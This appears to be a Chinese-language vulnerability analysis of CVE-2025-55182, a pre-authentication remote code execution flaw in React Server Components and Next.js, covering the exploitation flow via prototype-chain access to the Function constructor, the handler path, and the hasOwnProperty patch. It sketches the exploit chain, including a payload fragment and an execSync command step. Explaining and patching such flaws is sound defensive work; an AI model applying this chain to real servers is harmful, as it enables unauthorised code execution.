│ 使用伪造的 fakeChunk._response
▼
parseModel('{"then":"$B1337"}')
│
├──→ 解析 "$B1337"
│ │
│ ▼
│ response._formData.get(response._prefix + "1337")
│ │
│ ▼
│ Function("恶意代码;1337")
│ │
│ ▼
│ 返回恶意函数
│
▼
result = { then: maliciousFunction }
│
▼
await result ← result.then()
│
▼
maliciousFunction() 被调用
│
▼
require('child_process').execSync('id') 执行
│
▼
RCE 成功!命令在服务器执行!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌─────────────────────────────────────────────────────────────────────────┐
│ Next.js Server Action 处理流程 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ HTTP 请求进入 │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 检查 Next-Action│ ← Header 存在即进入 Action 处理 │
│ │ Header 是否存在 │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 反序列化请求体 │ ← ⚠️ 漏洞在此触发! │
│ │ (Flight Protocol)│ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 验证 Action ID │ ← 永远不会执行到 │
│ │ (40字符哈希) │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 执行 Server │ ← 永远不会执行到 │
│ │ Function │ │
│ └─────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// next/dist/server/app-render/action-handler.js (简化)
async function handleAction(req, res) {
const actionId = req.headers['next-action'];
// 第一步: 解析 multipart 数据(如果是 multipart 请求)
if (contentType?.includes('multipart/form-data')) {
const busboy = Busboy({ headers: req.headers });
// 收集表单数据...
// ⚠️ 关键: 这里调用 Flight 协议反序列化
// 漏洞在这一步触发,RCE 在这里发生
const boundActionArguments = await decodeReplyFromBusboy(
body,
webNextRequest.headers,
temporaryReferences
);
// 以下代码永远不会执行,因为上面已经 RCE 或抛出异常
}
// 第二步: 验证 Action ID
const action = await getActionFromId(actionId);
if (!action) {
throw new ActionNotFoundError(); // 永远不会到达
}
// 第三步: 执行 Action
return await action.apply(null, boundActionArguments); // 永远不会到达
}
React 团队在多处添加了 hasOwnProperty 检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// packages/react-server-dom-webpack/src/ReactFlightServerReference.js
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return undefined;
}
// 类似的修复应用于属性访问的其他位置
function getProperty(obj, key) {
- return obj[key];
+ if (hasOwnProperty.call(obj, key)) {
+ return obj[key];
+ }
+ return undefined;
}
1
2
3
4
5
6
7
8
9
10
11
12
const obj = { name: "test" };
// 修复前(存在漏洞):
obj["__proto__"] // → Object.prototype ← 可访问!
obj["constructor"] // → Object ← 可访问!
// 修复后:
if (hasOwnProperty.call(obj, "__proto__")) {
return obj["__proto__"];
}
// hasOwnProperty 返回 false,不会访问原型链
// 返回 undefined,攻击链断裂
| 属性 | obj[key] | hasOwnProperty.call(obj, key) | 来源 |
|---|---|---|---|
name |
"test" |
true |
自身属性 |
__proto__ |
Object.prototype |
false |
继承 |
constructor |
Object |
false |
继承 |
toString |
[Function] |
false |
继承 |
hasOwnProperty 只返回 true 对于对象自身定义的属性,不包括从原型链继承的属性。
CVE-2025-55182 是一个影响 React Server Components 和 Next.js 的严重远程代码执行漏洞。
| 方面 | 详情 |
|---|---|
| 根本原因 | Flight 协议解析属性时缺少 hasOwnProperty 检查 |
| 利用方式 | 通过 __proto__ 访问原型链,获取 Function 构造函数 |
| 触发点 | $@ 前缀获取原始 Chunk 对象 + $B 前缀触发函数调用 |
| Pre-auth | 漏洞在验证 Action ID 之前触发 |
1
2
3
原型链访问 → 获取 Chunk.prototype.then → 构造伪造 Chunk
→ 获取 Function 构造函数 → $B 触发 Function 调用
→ thenable 模式执行函数 → RCE